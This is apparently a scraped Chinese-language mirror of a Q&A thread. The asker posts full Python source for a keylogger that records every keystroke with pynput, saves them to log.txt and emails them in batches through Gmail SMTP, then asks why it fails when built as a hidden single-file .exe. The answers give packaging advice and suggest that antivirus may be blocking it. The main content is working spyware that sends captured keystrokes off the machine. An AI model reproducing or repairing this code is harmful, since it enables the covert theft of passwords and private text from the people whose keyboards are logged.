【问题标题】:Code(keylogger) converted into .exe with pyinstaller not working as it was代码(键盘记录器)转换为 .exe,pyinstaller 无法正常工作
【发布时间】:2019-12-05 22:54:20
【问题描述】:

我正在使用 python 3.5 中的键盘记录器代码。它使用 pynput 在 txt 文件中记录击键,并使用 smtplib 通过电子邮件发送记录的击键。 当它是一个 .py 文件时,该代码可以正常工作,但不会在文件中记录击键,也不会在使用 pyinstaller 转换为 .exe 文件时通过电子邮件发送它们。请帮助我找出导致此问题的原因并解决它。感谢您调查此事。祝你有美好的一天! 我使用命令 pyinstaller - w - F filename.py 来转换它。

from pynput.keyboard import Listener
import smtplib
#Var that counts for the if statement==========
c = 0
#Var that collects keystrokes for email========
strokes = ''

#Codes for the smtp email======================
serv = smtplib.SMTP('smtp.gmail.com', 587)
serv.ehlo()
serv.starttls()
serv.login('email@gmail.com', 'password')

#Function for writing keycodes to the file=====
def writeToFile(key):
    global c, strokes
    keydata = str(key)
    keydata = keydata.replace("'","")

    `enter code here`#Special keys decoder===========================
    if keydata == 'Key.space':
            keydata = ' '

    if keydata == 'Key.shift_r':
            keydata = ' (r_shift) '

    if keydata == 'Key.shift':
            keydata = ' (l_shift) '

    if keydata == 'Key.ctrl':
            keydata = ' (l_ctrl) '

    if keydata == 'Key.ctrl_r':
            keydata = ' (r_ctrl) '

    if keydata == 'Key.enter':
            keydata = ' (enter) \n '    

    #Opens or creates the log file===============
    with open("log.txt", 'a') as f:
            f.write(keydata)
            c += 1

            #Keystrokes are added for the email==
            strokes = strokes + str(keydata)

            #Condition for sending the email=====
            if c >= 10:
                print(strokes)
                c = 0
                serv.sendmail('email@gmail.com', 'receiver@gmail.com', strokes)
                serv.close()

#For listening to keycodes==================
with Listener(on_press=writeToFile) as l:
    l.join()

【问题讨论】:

    标签: python-3.x pyinstaller smtplib pynput


    【解决方案1】:

    1-对我来说 pyinstaller 让我很头疼,使用 auto-py-to-exe 工具会帮助你。 2-运行 .py 文件时,它告诉 pc:我在 python 的解释器领导下,所以我拥有所有 python 的访问权限。但是运行exe时是未知软件,所以请检查反恶意软件/防火墙是否阻止了您的exe软件。


    Auto-py-to-exe 帮助我将 py 转换为 exe。 起初,我的 exe 没有工作,经过一番搜索,我发现大多数问题是由于隐藏的导入/文件,你必须手动添加它们。 那么如何在 auto-py-to-exe 中这样做呢?

    使用 auto-py-to-exe 添加模块:您使用什么模块?例如:如果您需要安装 requests 库以使代码正常工作,则使用 auto-py-to-exe 并且有添加文件的选项,使用它从 site-packages 文件夹添加请求

    更多帮助和解释 +auto-py-to-exe 疑难解答This will help

    【讨论】:

    • 我也用过。仍然没有用。我也以管理员权限进行了尝试,并检查了防病毒干扰。你能试着在你的电脑上转换吗?我使用命令 pyinstaller - w - F filename.py 将其转换为exe。感谢您的时间。祝你有美好的一天
    • 好的,我会为你做的,你可以尝试其他方法作为最后的尝试:你可能丢失了一些文件并且 exe 有错误但你看不到,所以:1-尝试运行它通过 cmd 2-当使用 auto-py-to-exe 时尝试添加您安装的模块以使键盘记录器运行。
    • 感谢您的回复,但请您解释一下我应该如何将我在 auto .py 中安装的模块添加到 .exe 中?我会按照你提到的流程再做一次。
    • 没有成功。而是将其转换为批处理文件。感谢您的帮助
    • 使用 auto-py-to-exe 添加模块:你使用什么模块?像这样:如果你需要安装 requests 库来使代码工作,然后使用 auto-py-.. 并且有添加文件的选项,用它从 site-packages 文件夹添加请求,你可以看到这也是nitratine.net/blog/post/issues-when-using-auto-py-to-exe
    猜你喜欢
    • 1970-01-01
    • 2019-03-14
    • 2017-03-19
    • 1970-01-01
    • 2018-03-30
    • 2021-05-23
    • 2016-06-28
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多